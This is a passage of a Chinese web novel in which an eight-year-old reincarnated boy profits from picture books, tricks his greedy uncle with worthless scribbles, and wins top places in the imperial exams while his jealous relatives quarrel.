“这……这若是完好无损,别说三十两,五十两银子怕是都有人抢着要啊!”钱掌柜连连摇头,惋惜不已。 他转向陈老太爷,问道:“陈老哥,您府上竟有此等珍品?不知是哪位贵客如此大手笔,竟送上这般重礼?想必定是与老哥您情谊深厚之人啊!” 陈老太爷只觉得眼前一阵发黑,身子晃了晃,差点一头栽倒在地。 他想起陈平川那小子献上寿礼时,说过什么“此物世所罕见,价值不凡”,自己当时是怎么说的? “不值钱的玩意儿,糊弄我老头子!” 几十两雪花花的银子啊! 就这么……就这么被孙子给撕了! 肠子,肝儿,心,全都悔青了! PC站点如章节文字不全请用手机访问 陈仲文、刘氏、陈仲武、王氏,包括那几个小的,一个个脸上红了又白,白了又青,像是开了染坊。 贪婪,懊恼,悔恨,种种情绪交织在一起,让他们说不出一句话来。 那屋里的空气,就像凝固了一般。 送走了连连叹息的钱掌柜,陈老太爷再也撑不住,一屁股瘫坐在太师椅上,捧着那堆烂纸片,捶胸顿足。 “我的银子啊……我的银子……” 大伯母刘氏最先回过神来,她那双平日里就刻薄的三角眼更是要喷出火来,猛地指向还在发愣的陈平西,尖声叫嚷:“你这个败家的小畜生!短命的玩意儿!几十两银子啊!几十两!就这么被你几下给撕了!你怎么不去死啊!” 陈平西被骂得一缩脖子,哇的一声哭了出来。 王氏岂容自己儿子受这等辱骂,立刻柳眉倒竖,双手叉腰,回敬刘氏:“大嫂这话好没道理!先前是谁说这破书不值钱,赏给我们虎子玩的?现在倒来怪孩子了?你们要是早知道它值钱,会舍得给虎子?” “不管值不值钱,也不能任由虎子去撕烂!我相公说了,书里有金银财宝,你懂不懂!”刘氏不甘示弱,唾沫横飞。 陈仲文更正:“那叫书中自有黄金屋……” “那是你们眼皮子浅,不识货!不能怪我儿子!”王氏尖着嗓子反驳。 两个妯娌一言不合,扭打在一起,扯头发,抓脸,嘴里还不停地咒骂。 陈平香和陈平娇见状,也立刻加入了战团。 “都怪你娘贪心!” “是你爹没见识!” 堂屋里顿时鸡飞狗跳,哭喊声,叫骂声,乱作一团。 陈平西抹了抹把眼泪鼻涕,笑嘻嘻第拍手叫好:“打,继续打!” “都给我住手!”陈老太太被吵得头疼,猛地一拍桌子,厉声喝止。 她平日里眯着的双眼此刻精光一闪,眼珠子骨碌碌一转,计上心来。 “吵什么吵!不就是一本破书吗?既然是平川那小子拿来的,让他再送一本过来不就行了?”陈老太太说的理直气壮。 “他如今在张府当差,这种东西,他肯定还能弄到!” 此言一出,原本还在互相指责的众人,眼睛顿时都亮了。 对啊! 再找陈平川要一本! 不,每家一本! 陈老太爷浑浊的老眼里闪过一丝贪婪的光。 “走!去老二家!”他率先起身。 于是乎,陈老太爷领头,大房、三房的人呼啦啦一大群,个个脸上带着急切和兴奋,浩浩荡荡地涌向了二房那低矮的破屋。 然而,当他们气势汹汹地赶到二房院外时,却发现院门紧闭。 “砰砰砰!”刘氏用力拍打着木门。 PC站点如章节文字不全请用手机访问 “开门!老二家!快开门!” 陈老太爷气得胡子直抖,也上前拍门:“老二!老二家的!开门!” 敲了半天,嗓子都快喊哑了,院内依旧无人应答。 陈仲武推开门,发现里面里面静悄悄的,早已没了人。 隔壁一个邻居探出头来,瞧见这阵仗,开口提醒:“陈老爷子,老二一家早就坐着马车,往城里去了,好像说要去酒楼……” “什么?去城里了?”陈老太爷一愣。 “这个杀千刀的陈平川!肯定是故意的!”刘氏气急败坏地跺脚。 “忘恩负义的白眼狼!发了点小财就瞧不起自家人了!”王氏也跟着咒骂。 一群人跳脚大骂,污言秽语不堪入耳,却也只能无功而返,个个憋了一肚子火。 此刻,庐州府城内最负盛名的酒楼“迎宾楼”的雅间内,却是另一番光景。 PC站点如章节文字不全请用手机访问 第63章 百两银票显孝心, 十两诚意金钓大鱼 陈平川一家四口,正围坐在一张铺着锦绣桌布的红木圆桌旁。 桌上摆满了各式各样香气扑鼻的珍馐美味:油光锃亮的烤鸭,清蒸鲈鱼,蟹黄豆腐,桂花糯米藕…… 陈平玉一双乌溜溜的大眼睛亮晶晶的,看看这个,又瞧瞧那个,小嘴张成了“哦”形。 她还是第一次见到这么多、这么好吃的菜肴。 罗氏夹了一块嫩滑的鱼肉放进女儿碗里,又给儿子夹了一筷子他爱吃的,看着一双儿女吃得香甜,她脸上的笑容从未这般灿烂,眼中满是欣慰与骄傲。 陈仲和端起酒杯,默默地抿了一口,这个不善言辞的汉子,此刻心里也如同灌了蜜一般甜。 多少次,他进城,只敢在这气派的酒楼外面,羡慕地看着,现在,自己竟然也坐进来吃饭,真的好像做梦一样! 平玉拿起一个金黄的鸡腿,小口小口啃着,含糊不清地对陈平川甜甜一笑:“哥哥,这个真好吃!” 陈平川摸了摸妹妹的头,嘴角带着温柔的笑:“好吃就多吃点。” 酒至酣处,陈平川从怀中取出几张银票,足有一百多两,郑重地放在母亲罗氏面前。 “娘,这是孩儿孝敬您和爹的。” 陈仲和看着那银票,眼眶瞬间就红了,激动得说不出话,只是一个劲儿地拍着儿子的肩膀。 罗氏更是惊得捂住了嘴,半晌才回过神,颤抖着手,几乎不敢去碰那些银票。 “这……这么多?” 惊喜过后,罗氏却将银票推回给陈平川:“儿子,你在外面用钱的地方多着呢,这钱你自个儿拿着。我们有你这份心就够了,再说,我们也用不上这么多……” 其实,她是怕被陈家老太爷他们抢走。 陈平川知道母亲的性子,也不强求,暂时将银票收回,心里却打定了主意。 将来,让母亲没有后顾之忧地拿走这些钱。 宴席过后,陈平川并未让父母立即返村。 “爹,娘,咱们今晚不回去了,我已在庐州府最好的松鹤客栈开了上房,这几日,我带你们好好逛逛这府城。” 罗氏本想说太破费,但看到儿子坚持的眼神和女儿平玉兴奋的小脸,话到嘴边又咽了回去。 只是叮嘱陈平川,别乱花钱。 接下来的三天,陈平川带着父母妹妹,几乎逛遍了庐州府。 他为陈仲和与罗氏各添置了一套体面的新衣,料子是城里时兴的,颜色也鲜亮。 又给平玉买了她眼馋了好久的糖葫芦,还有各式各样新奇的小玩具,尤其是她心心念念的小花鞋,小丫头整日里笑得合不拢嘴。 一家人脸上洋溢着从未有过的幸福和轻松。 看着父母脸上满足的笑容,妹妹雀跃的身影,陈平川心中感慨万千。 前世父母早逝,未能尽孝,是他心中永远无法弥补的痛。 如今,他暗下决心,定要让这一世的亲人过上最好的生活,也算了却自己一桩心愿。 夜宿松鹤客栈,温暖的被窝里,一家四口挤在一起。 PC站点如章节文字不全请用手机访问 平玉则依偎在陈平川怀里,叽叽喳喳地说着白天的见闻。 不一会,兄妹两人渐入梦乡,陈仲和夫妻却怎么也睡不着。 罗氏摸着身上新衣的料子,轻声对陈仲和道:“当家的,我这辈子都没穿过这么好的衣裳。” 陈仲和嗯了一声,握紧了妻子的手。 两人看着出息的儿子,对未来的日子充满了希望。 三天后,陈平川雇了辆宽敞舒适的马车,将心满意足的父母和妹妹送回桃花村。 临别时,除了大包小包的礼物外,陈平川还塞给母亲一个小荷包,里面是二十两散碎银子,让她贴补家用,又约定了下次再接他们来府城小住。 罗氏这次没有推辞,只是红着眼圈连连点头。 送别家人,陈平川刚踏入张府大门,任管家便快步迎了上来。 “平川,你可算回来了。”任管家脸上带着无奈,“有个男人说是你三叔,已在来府上找你三天了,现在正在偏厅等候,你赶快过去看看吧。” 陈平川心中微微一动。 这无利不起早的三叔突然造访,定然不是什么好事。莫非,与那日寿宴上的《西游记》画册有关? 他随着任管家来到偏厅。 只见三叔陈仲武正坐立不安地在厅中踱步,不时伸长脖子朝外张望。 一见到陈平川身着体面的青布衣衫,神态从容地走进来,身后还跟着对他颇为客气的任管家,陈仲武眼神一闪,脸上挂上了谄媚。 “哎哟,平川你可回来了!”陈仲武几步抢上前来,脸上堆满了菊花般的笑容,对着陈平川嘘寒问暖,“瞧你这气色,比在家时可强太多了!这几日,你带着我二哥他们在府城玩得可还开心?” 言辞间极尽奉承,与往日那个对他爱答不理的三叔判若两人。 陈平川不动声色,微微一笑:“三叔客气了。不知三叔今日前来,所为何事?” 陈仲武搓着双手,笑容越发谄媚:“平川啊,是这么回事。上次你送给老爷子的那本画册,老爷子他老人家可是喜欢得紧啊!只可惜,被我那不懂事的儿子给不小心撕坏了……” 他小心翼翼地观察着陈平川的脸色,继续道:“这不,老爷子就打发我来问问,看你能不能……再弄几本回来?最好是,嗯,那种‘编号靠前’的,听说是叫什么‘珍藏版’?” 陈仲武话锋一转,凑近了些,压低声音:“平川啊,三叔我为了这事,可是在老爷子面前替你说了不少好话。你看,能不能也给三叔我弄一本收藏?或者,你如今在张府也是个体面人,能不能跟上头说说,给三叔我也在这张府里头,谋个轻松点的差事?” 陈平川眉头微蹙,故作为难:“三叔,不瞒您说,这张府的画册发行,规矩是极严的。尤其是那前十号的珍藏版,不是送给了官老爷,就是早就被府城里有头有脸的大户人家给预定了。我一个小小的书童,哪里有那么大的面子……” 陈仲武脸上的笑容一僵,急忙道:“平川,你可得帮帮三叔这个忙啊!老爷子那边,还等着我的回话呢!只要你能弄到,老爷子他一高兴,对你们一家就更好了!” 陈平川沉吟片刻,似乎在认真思索,随后才“勉为其难”地点了点头:“三叔,既然您都这么说了,又是爷爷的意思,那我……就豁出这张脸去试试吧。” 他话音一顿,补充道:“不过,这种‘珍藏版’画册,要从‘特殊渠道’弄出来,恐怕……恐怕需要一些费用‘打点’……” 陈仲武眼睛一亮:“要多少?” 陈平川伸出一根手指,轻轻晃了晃:“也不多,就这个数。您回去和爷爷商议一下,若是能凑足十两银子的‘诚意金’,我这边才好去疏通关系,或许能有一试的机会。” 陈仲武一听有门,而且“打点费用”在他看来也不算离谱,顿时大喜过望。 他觉得陈平川还是念着几分旧情的,连忙拍着胸脯应承下来:“十两银子是吧?没问题!平川你等着,我这就回去跟老爷子说,保管把银子给你凑齐!” 说完,陈仲武也顾不上再多客套,兴冲冲地转身,急匆匆地赶回陈家老宅报信筹钱去了。 PC站点如章节文字不全请用手机访问 第64章 珍贵初稿是废纸,陈家内讧丢大脸 庐州府的大街小巷,茶楼酒肆,新一轮的热潮已然引爆。 《西游记》连环画《三打白骨精》正式发售。 吸取了第一卷的经验,陈平川这次策划了更为盛大的预热。 他雇佣了庐州府最有名的几位说书先生,在各大茶馆、酒楼轮番宣讲第二卷中的精彩片段。 白骨精的狡诈多变,孙悟空的火眼金睛,唐僧的迂腐糊涂,被说书先生们演绎得惟妙惟肖,吊足了全城百姓的胃口。 “那妖精摇身一变,变成个老婆婆,哭哭啼啼……” “孙悟空掣出金箍棒,大喝一声:妖怪,哪里走!” 发售当日,各大书坊门口再次排起了骇人长龙,比之第一卷有过之而无不及。 张盛财站在自家书坊二楼,看着楼下拥挤的人潮和一箱箱往库房里抬的铜钱、碎银,嘴巴几乎咧到了耳根。 “好小子,真是个财神爷!”张盛财满脸兴奋,对身旁的账房先生连声称赞。 很快,第二卷的首月分红便送到了陈平川手中。 又是数百两白花花的银子。 陈平川默默收下,心中的底气更足。原始资本的积累,比他预想的还要快。 自立门户,给家人购置产业,让他们过上真正的好日子,这个念头越发强烈。 然而,一想到陈老太爷那根深蒂固的偏执,以及大房、三房那群豺狼般的亲戚,陈平川就感到一阵头疼。 分家之事若不能妥善解决,日后的麻烦定会源源不断。 可陈老太爷对分家一事,始终咬死了不松口,只当是二房发达了,翅膀硬了,想要甩开宗族单过,这让陈平川的许多计划都束手束脚,难以顺利实施。 数日后,一个熟悉的身影出现在张府门前。 陈仲武揣着东拼西凑来的十两银子,脸上堆满了期待的笑容,再次登门。 他一路小跑,见了陈平川,便迫不及待地从怀里掏出一个沉甸甸的钱袋。 “平川侄儿,银子!十两,一文不少!你看,那‘珍藏版’的画册……”陈仲武搓着手,眼睛里闪烁着贪婪的光。 陈平川微微一笑,也不多言,转身进屋片刻,取了几张纸出来。 那是张静姝和张金宝平日里照着《西游记》画册临摹,随手涂鸦后丢弃的废画稿,上面的人物歪歪扭扭,线条稚嫩,有的地方还沾着墨点。 “三叔,这可是我好不容易才搞到的,据说是当初画师们试笔的初稿,每一张都是独一无二的。”陈平川将那几张废纸递过去,神色郑重。 陈仲武哪里分辨得出真假,只听“独一无二”、“初稿”几个字,便觉得这东西定然不凡。 他如获至宝般接过,也没看,将那几张废纸仔细叠好,珍重地揣进怀里,对着陈平川千恩万谢。 “平川侄儿,三叔就知道你最有本事!你爷爷看到,一定非常开心!” 陈仲武仿佛已经看到无数银子在向他招手,乐得合不拢嘴。 陈平川含笑点头,目送着陈仲武兴高采烈地离去。 待其背影消失在街角,陈平川嘴角勾起一抹讥讽。 PC站点如章节文字不全请用手机访问 …… 这日,方先生授课完毕,单独留下了陈平川。 “平川。”方先生看着眼前的少年,目光复杂。 他捋了捋胡须,语重心长:“你天资聪颖,远非池中之物。这连环画虽能让你赚取些银钱,改善家境,但终究是商贾之术,非立身之本。” 陈平川垂手恭立,静静聆听。 “万般皆下品惟有读书高。以你的天资,若肯潜心向学,将来未必不能博取功名。”方先生的语气带着几分期许。 陈平川心中微动。 他深知方先生所言不虚。在这个时代,科举功名几乎是改变社会地位最直接、最有效的途径。 他想要彻底摆脱陈家的泥沼,想要让父母妹妹挺直腰杆做人,单靠金钱或许还不够,权势和地位同样重要。 一番深思熟虑之后,陈平川对着方先生深深一揖:“先生教诲的是,平川愿听先生安排,参加童子试。” 方先生见他应下,脸上露出了欣慰的笑容:“好,好!孺子可教!” 自此,陈平川除了经营生意,更多的时间投入到了经史子集的苦读之中。 他本就有现代大学生的知识储备,学习这些蒙学经典自然是事半功倍,进步神速。 张金宝在陈平川的影响下,也一改往日的顽劣,学习认真了不少,让方先生颇感欣慰。 另一边,陈家老宅。 陈仲武兴冲冲地回到家中,一进门便大声嚷嚷:“爹!娘!我把宝贝弄回来了!” 众人听到他大呼小叫,纷纷走出来。 见陈仲武小心翼翼地从怀里掏出那几张“孤本墨宝”,在众人面前摊开。 “看看!这可是平川那小子废了不少周折给我弄到的《西游记》画师初稿!独一份的!价值连城啊!”陈仲武唾沫横飞地吹嘘着。 陈老太爷、陈老太太,连同大房的陈仲文、刘氏,三房的王氏,以及几个孩子,全都围了上来,伸长了脖子看。 “真的假的?这玩意儿能值钱?”刘氏撇着嘴,一脸不信。 “你懂什么!”陈仲武瞪了她一眼,“这叫艺术!叫墨宝!平川说了,这比那什么‘肆号’的印刷本珍贵多了!” 陈老太爷浑浊的眼睛里闪过一丝贪婪,他颤巍巍地拿起一张画稿,眯着眼看了半天,也没看出个所以然。 “走,找钱掌柜去!让他给瞧瞧,这到底值多少银子!”陈老太爷一拍大腿,当即决定。 一群人浩浩荡荡地来到庐州府绸缎庄。 钱掌柜正在铺子里算账,见陈老太爷领着一大家子人进来,连忙起身招呼。 陈老太爷将那几张画稿往柜台上一放,得意洋洋:“钱老弟,你给看看,我这孙儿弄来的宝贝,据说是《西游记》画师的初稿,价值不菲啊!” 钱掌柜拿起一张画稿,只看了一眼,便“噗嗤”一声笑了出来。 他拿起另一张,又看看其他的,脸上的笑意更浓,最后笑得前仰后合,眼泪都快出来了。 “陈老哥,您……您从哪儿弄来这些……这些废纸啊?”钱掌柜好不容易止住笑,指着那些画稿。 PC站点如章节文字不全请用手机访问 陈老太爷脸上的得意瞬间凝固:“废纸?钱老弟,你可别看走眼了,这可是……” “哎哟,我的陈老哥!”钱掌柜摆摆手,“这哪是什么画师初稿,分明就是小孩子随手涂鸦的玩意儿!您看这线条,这用色,别说卖钱了,送人都没人要!这跟茅房的草纸有什么区别?” 陈老太爷只觉得眼前一黑,脑袋“嗡”的一声,气得浑身发抖。 “陈仲武!”他猛地回头,怒视着自己的三儿子,声音如野兽般咆哮,“你这个败家子!你竟敢拿这种不值钱的垃圾来糊弄我!” 陈仲武也傻眼了,他张口结舌:“爹,我……平川他说是……” “还敢狡辩!是不是你中饱私囊,贪了那十两银子!”陈老太爷气得抓起柜台上的算盘就想砸过去:“搞了一堆废纸回来骗我!” 刘氏立刻尖声叫嚷起来:“我就说嘛!老三就是个不着调的!十两银子啊!能买多少东西啊!” 王氏岂容自家男人被这般羞辱,当即反唇相讥:“大嫂你少在那里说风凉话!当初是谁眼红人家平川送的画册值钱?现在倒好,便宜没占到,反倒怪起我们家仲武了?” “若不是你们大房贪心不足,想占便宜,会被人当猴耍?” “你给我闭嘴?当初是谁把那值钱的画册给撕了的?还不是你那个乖儿子!” 陈老太爷气得暴跳如雷,指着陈仲武破口大骂,唾沫星子横飞。 刘氏和王氏也掐作一团,当着钱掌柜的面,陈家人上演全武行。 一家人从钱掌柜的店铺,打到了街上。 咒骂声,厮打声,响彻整条街道,引来人群围观,陈家的脸面都丢尽了。 PC站点如章节文字不全请用手机访问 第65章 八岁孩童考案首,三十岁大伯绷不住了 不久,县试开考。 张府门前一早就停了两辆马车。张盛财挺着大肚子,亲自将张金宝送上其中一辆,嘴里骂骂咧咧:“臭小子,你要是给老子考不中,回来腿给你打折!”话虽凶狠,眼神里却透着几分紧张。 张金宝缩了缩脖子,嘟囔道:“知道了爹,我肯定能过!” 上次县试张金宝毫无意外的落榜了,不过,张盛财在陈平川的劝说下,没有对张金宝打骂。 张金宝很感激陈平川,也知道自己得努力了。 另一辆马车上,陈仲和一家也b被张盛财接过来了,为陈平川送考。 罗氏拉着陈平川的手,一遍遍叮嘱:“儿啊,莫紧张,尽力就好。”陈仲和在一旁,嘴笨,只是一个劲儿点头,眼神里满是期盼。 “哥,你铁定能中!”小妹陈平玉仰着小脸,挥舞着小拳头,脆生生喊道。 张静姝也来了,小大人似的对陈平川哼了一声:“臭……平川哥哥,你要是考得还没我哥好,看我怎么笑话你!” 方先生则站在一旁,捋着胡须,面色严肃,对陈平川和张金宝分别点了点头:“平常心对待,将平日所学发挥出来即可。” 一行人来到考场,此时已经是车水马龙,人声鼎沸。 目送两个孩子走进去,张盛财和陈仲和l两位老父亲都伸长脖子,直到看不见自己儿子才返回来。 考试开始,考场内一片肃静。 八岁的陈平川坐在几乎与他等高的凳子上,小小的身影在一众学子中,显得格外突出。 邻座一个十六七岁的少年瞥了他一眼,嘴角露出一丝轻蔑,心道:这么小娃娃也来凑热闹? 考官巡视时,见到陈平川,也是一愣,多看了两眼,想起前些时日“惊才绝艳小书童”的名声,心里暗道:“莫非是他?” 陈平川却对周遭的y异样目光充耳不闻,他神色平静,定了定神,打开试卷,审好题,研墨提笔,沉稳的笔尖在纸上沙沙作响,下笔似有千言。 从朝阳,到黄昏,里面的考试还在继续。 考场外,张盛财急得像热锅上的蚂蚁,一会儿搓手,一会儿踱步,不时探头往考场里望,嘴里嘀咕:“这都什么时候了,怎么还不出来!” 他甚至想去给看门的衙役塞点碎银子,问问里面的情况,被任管家眼疾手快地拉住了。 罗氏紧紧攥着陈仲和粗糙的大手,手心全是汗,嘴唇翕动,似在默念着什么。 张静姝和陈平玉两个小丫头排排坐,一人一根糖葫芦,眼睛时不时瞟向考场大门。 方先生依旧捋着胡须,看似镇定,但微蹙的眉头显露出他内心的不平静。 日头渐渐落下,考场的大门终于打开。 张盛财一个箭步冲上去,拉住刚出来的张金宝:“儿子,考得怎么样?!” 张金宝昂着头,一脸得意:“爹,您就放心吧!那些题目,我唰唰唰就写完了,简单得很!” 陈平川跟在后面出来,陈仲和与罗氏赶紧迎上去。罗氏看着儿子平静的小脸,以为他没考好,连忙安慰道:“平川,没事,考不好下次再来,你还小呢。” 陈平川微微一笑,也不解释:“爹,娘,我们回家吧。” 一晃,到了放榜那日,县衙前的红榜下早已是人山人海,挤得水泄不通。 “出来了!出来了!”不知谁喊了一声。 PC站点如章节文字不全请用手机访问 众人翘首以盼,z只听负责张榜的衙役高声唱名:“县试第一名,陈平川!” 此言一出,人群先是一静,随即爆发出嗡嗡的议论声。 “陈平川?哪个陈平川?” “莫不是那个八岁小神童?” 陈平川站在人群外围,面色平静。 而方先生已经激动得满面红光,胡子都有些颤抖,他骄傲地看着自己的记名弟子,见陈平川风轻云淡,宠辱不惊,更加满意。 认出陈平川的人纷纷围了上来,啧啧称奇:“真是神童啊!八岁案首,闻所未闻!” “了不得,了不得!” “我八岁的时候,还玩泥巴呢!” 张盛财在人群里挤得满头大汗,伸长脖子在榜上焦急地寻找自己儿子的名字。 衙役只念前三名,后面的,就得自己去榜上找。 “金宝呢?我儿金宝呢?”他从头往下看,一颗心提到了嗓子眼。 “中了!中了!小少爷也中了!童生!”任管家眼尖,指着榜尾激动地大喊。 张盛财一听,那张胖脸顿时笑成了一朵盛开的菊花,开怀大笑:“太好了!我儿子也是童生了!我们老张家,终于出个读书人了!哈哈哈!” 他一把抱过张金宝,在他脸上“吧唧吧唧”亲了好几口。 张金宝被亲得满脸口水,嫌弃地推开他爹,却也咧着嘴傻笑。 张静姝在一旁,夸张地翻了个大大的白眼,嘴角却微微上扬。 “爹,我就说我考得好吧!”张金宝得意之余,还不忘指着陈平川:“这都多亏了大哥!大哥教了我好多!” 张盛财连连点头,看向陈平川的眼神更是佩服,这书童,真是宝贝疙瘩! 消息如同长了翅膀,快马加鞭传回了桃花村。 “号外!号外!陈家二房的平川小子,考了县试第一名!”报喜的差役一路敲锣打鼓。 陈仲和扛着锄头刚从田里回来,听到这声吆喝,整个人都僵住了,手里的锄头“哐当”一声掉在地上,砸在了脚边。 罗氏闻声从屋里冲了出来,一把抓住报喜人的胳膊,声音都有些发颤:“你……你说的可是真的?我家平川……真的是第一名?” “千真万确!县太爷亲点的案首!县里的榜文都贴出来了,还能有假?”报喜人手臂被抓到生疼,急忙解释。 罗氏的眼圈一下子就红了,紧接着,她猛地咧开嘴,畅快地大笑起来,拉着陈仲和的手,又蹦又跳,像个孩子:“当家的!你听见没!咱儿子是第一!咱家祖坟冒青烟了!” 陈仲和憨厚的脸上满是无法抑制的激动,咧着嘴嘿嘿傻笑,一个劲儿地点头,眼泪都快笑出来了。 他儿子陈平川不仅会画那神奇的石头画,会赚大钱,如今读书也这般厉害,八岁就考了个案首回来,这简直是天上的文曲星下凡啊! 然而,陈家其他人的反应,却截然不同。 “啥?陈平川那小兔崽子……考了案首?” 陈仲文正在屋里睡懒觉,听到外面的喧哗和报喜声,猛地从床上坐起来,脸色瞬间变得比锅底还黑。 PC站点如章节文字不全请用手机访问 他当年考童生,足足考了三年!而他那个放牛的侄子,竟然一考就考了个案首? 他气得浑身发抖,他嫉妒陈平川的才华,更恨自己无能。 自己竟比不上一个八岁的娃娃!这让他情何以堪! 他抓起桌上的书,狠狠地摔在地上:“荒唐!荒唐至极!” PC站点如章节文字不全请用手机访问 第66章 神童三考夺榜首,陈家亲戚齐变脸 刘氏见丈夫生气,也跟着尖着嗓子道:“不可能!那小王八蛋怎么可能考上案首?定是弄错了!” 她站在院子里喊:“他一个放牛娃哪有这本事!肯定是张家有钱,花银子打点了考官!” 王氏立刻接过话头,阴阳怪气道:“可不是嘛!说不准,那文章都是教书先生替他做的呢!不然一个八岁的娃儿,哪来那样的锦绣文章?” 她们两人见不得二房家好,所以一唱一和,嘲讽不断。 陈老太爷坐在太师椅上,一声不吭。 孙儿是案首,他脸上终究有光彩,但想到二房如今这般出风头,日后怕是更难拿捏,尤其是那个刺头罗氏,他担心自己的权威受到挑战。 陈老太太捻着佛珠,嘴里念着佛号,眼睛却时不时瞟向二房的方向,她心思活络。这案首孙儿,将来可是能派上大用场的。 不等村里的议论平息,陈平川再接再厉,顺利通过了府试,而且还是第一名! “神童”之名,开始真正在庐州府传扬开来,不再仅仅是“惊才绝艳小书童”的坊间趣闻。 紧接着便是院试。 这一日,喜报再次快马加鞭送入桃花村。 “捷报!捷报!桃花村陈平川,高中院试,荣登秀才之榜!” 八岁秀才! 这四个字如同一道惊雷,轰动了整个桃花村,更让陈家老宅每个人震惊不已! 陈老太爷手里的旱烟杆“啪嗒”一声掉在地上,他张着嘴,半天没合拢。 他老陈家竟然出了两个秀才,这可真是祖上有德,陈家有福了! 陈仲文更是如遭雷击,整个人都僵住了,脸色从铁青变成了煞白,再从煞白转为灰败的死气。 秀才! 他从十岁开始读书,考了足足二十年,三十岁才勉强拿到的功名,八岁的陈平川轻描淡写地拿到了! 刘氏张大了嘴,想说什么刻薄话,却发现喉咙干涩,一个字也吐不出来。 王氏脸上的假笑也凝固了,眼神里闪过一丝惊惧。 那可是秀才公,再乱说话,可是要吃大亏! 不过他们依旧不愿相信这是陈平川的真实才学。 夜深人静时,老宅的几间屋里,总会飘出窃窃私语。 “定是张家!张家定是买通了所有考官!” “或是提前弄到了考题!不然如何解释?八岁秀才,闻所未闻!” 这些话,他们只敢在背地里说,声音压得极低,怕被墙壁听了去。 数日后,一辆青布马车缓缓驶入桃花村。 陈平川身着崭新的天青色秀才服,头戴方巾,身姿虽然稚嫩,却透着一股与年龄不符的沉稳与书卷气。 马车在陈家老宅门前停留,陈平川下了马车,径直走进自家低矮的泥土小屋,压根没想去拜见爷爷奶奶和其他长辈。 PC站点如章节文字不全请用手机访问 “爹,娘,妹妹,我回来了!”陈平川推开门,声音清脆。 罗氏和陈仲和面露惊喜,陈平玉更是欢呼着扑了上去。 “儿啊!”罗氏看着儿子身上的秀才服,心里美滋滋的。 有儿如此,她上辈子一定做了很多好事! 陈仲和咧着嘴,只是一个劲儿地“哎,哎”,手都不知道往哪里放。 这可是秀才公啊!比他们这些农家人地位高太多了! 陈平川让仆人从马车上搬下一个又一个箱子和包裹。 给罗氏的是上好的苏杭绸缎,给陈仲和的是新做的棉鞋和一小坛好酒,给陈平玉的是城里最新奇的玩具糖果和一整套漂亮的小衣服。 还有各种美食,糕点、水果…… 小屋内,一时间欢声笑语不断,暖意融融。 这边的动静,自然瞒不过陈家老宅那群人。 听说陈平川带回来了大包小包的好东西,陈老太爷坐不住了。 他清了清嗓子,对老太婆使了个眼色:“走,去看看我们的乖孙子,毕竟是咱们陈家的秀才公。” 而大房和三房这边,也都走出家门,带着各自的孩子,浩浩荡荡地朝着二房的小屋走去,脸上努力挤出虚伪的笑容。 “平川回来了啊!哎哟,都穿上秀才服了,可真精神!”大伯母刘氏一脚踏进二房家门,嗓门比往日高了八度,脸上堆着笑,眼神却不住往陈平川身上那崭新的细棉布料子上瞟。 她再也不喊什么“小崽子”了,仿佛先前那个尖酸刻薄的妇人不是她一般。 王氏紧随其后,扭着腰肢凑趣:“那可不,咱们平川如今是秀才公了!正经的文曲星下凡,这十里八乡,不,整个庐州府,八岁的秀才公,那可是头一份!” 陈仲文背着手,踱着方步进来,面色有些复杂,清了清嗓子,端出长辈的架子:“平川侄儿,中了秀才固然可喜,然则学海无涯,切不可因此骄傲自满,荒废了学业。为叔当年……”他顿了顿,想起自己三十岁才考上秀才,实在没有什么可炫耀的,后面的话便有些说不出口了。 陈仲武搓着手,脸上是讨好的笑,早忘了先前被陈平川用废纸耍弄的事:“平川出息了,三叔我这脸上也跟着有光彩,呵呵,往后咱们老陈家,可就都指望你了!” 陈老太爷由陈老太太扶着,也慢悠悠地进了屋。 老太爷看着一身新衣、气度不凡的孙子,嘴角难得地向上扬了扬,眼中流露出几分欣慰。 陈老太太则不同,一双眼睛贼溜溜地在二房院里那些陈平川带回来的东西上打转,布匹、点心盒子、还有些看不出名堂的纸包,心里已经开始盘算着待会儿,这些东西该怎么分。 几个孩子也跟了进来。陈平香今日特意换了件半新不旧的衣裳,努力挺直小身板,学着大人的模样,只是那双眼睛总忍不住往陈平川的衣料和那些礼品上瞄,心里暗暗比较着,越发觉得自己的爹娘没本事。 陈平娇则是一脸的不可思议,她怎么也想不明白,这个以前她正眼都懒得瞧一下的堂弟,怎么一下子就成了秀才? 这让她那点可怜的优越感荡然无存,只剩下满心的嫉妒和不甘。 陈平西则躲在王氏身后,探头探脑,见陈平川看过来,目光冷冽,又吓得缩了回去,他可还记得上次打破了陈平玉的脑袋。 陈平川对着一众涌进来的长辈,不慌不忙地躬身行了个晚辈礼:“孙儿见过祖父,祖母。见过大伯,三叔。见过大伯母,三婶。” 声音清朗,不卑不亢,礼数周全,却也透着一股疏离。 PC站点如章节文字不全请用手机访问 第67章 唇枪舌剑,噎得极品亲戚哑口无言 刘氏眼尖,早就瞄见了炕上堆着的新布料和几盒精致的点心。 她清了清嗓子,语气带着恭维:“平川如今是秀才公了,真是光宗耀祖啊。不像我们家平娇,还有你三婶家的虎子和平香,都这么大了,大字还不识一个呢。平川啊,你现在是秀才了,身份不一样了,可得多费心指点指点你这几个弟弟妹妹。” 王氏立刻接过话茬,用袖子掩着嘴笑:“大嫂说的对,平川啊,为了你这次科举考试,我们这些做长辈的,哪个不是跟着提心吊胆?我跟你三叔,天天去庙里给你烧高香,求菩萨保佑你高中,那香火钱,可都花了不少呢!往后你发达了,可不能忘了拉拉家里人,尤其是你三叔……” 陈平川脸上依旧挂着八岁孩童特有的纯真笑容,乌溜溜的眼珠转了转,看向王氏:“三婶这话,侄儿可真担当不起。侄儿能侥幸考中,全凭先生教导和自己那点小小的运气。至于烧香拜佛嘛……” 他顿了顿,声音清脆,“侄儿不知是哪路神仙如此灵验。侄儿想着,这神佛之事,心诚则灵。大伯母、三婶若真花了香火钱,那也是为自家积福,侄儿可不敢贪这份功德,万一折了你们的福气就不好了。大伯是秀才前辈,学问渊博,教导弟弟妹妹自然比我这个刚入门的更有章法,侄儿年纪小,学问浅薄,哪敢在前辈面前班门弄斧呢?” 一番话说得滴水不漏,既全了礼数,又把那些暗示堵了回去,还顺带捧了陈仲文一句,噎得刘氏和王氏半天说不出话来,脸色一阵青一阵白。 陈仲文被侄子这么一捧,脸上有些挂不住,干咳两声:“平川谦虚了。” 心里却老大不痛快,你都考第一名了,还说自己是“刚入门的”,那我这十年老秀才难道是假的? 大房和三房几个大人互相使了个眼色,见软的不行,便求助陈老太太。 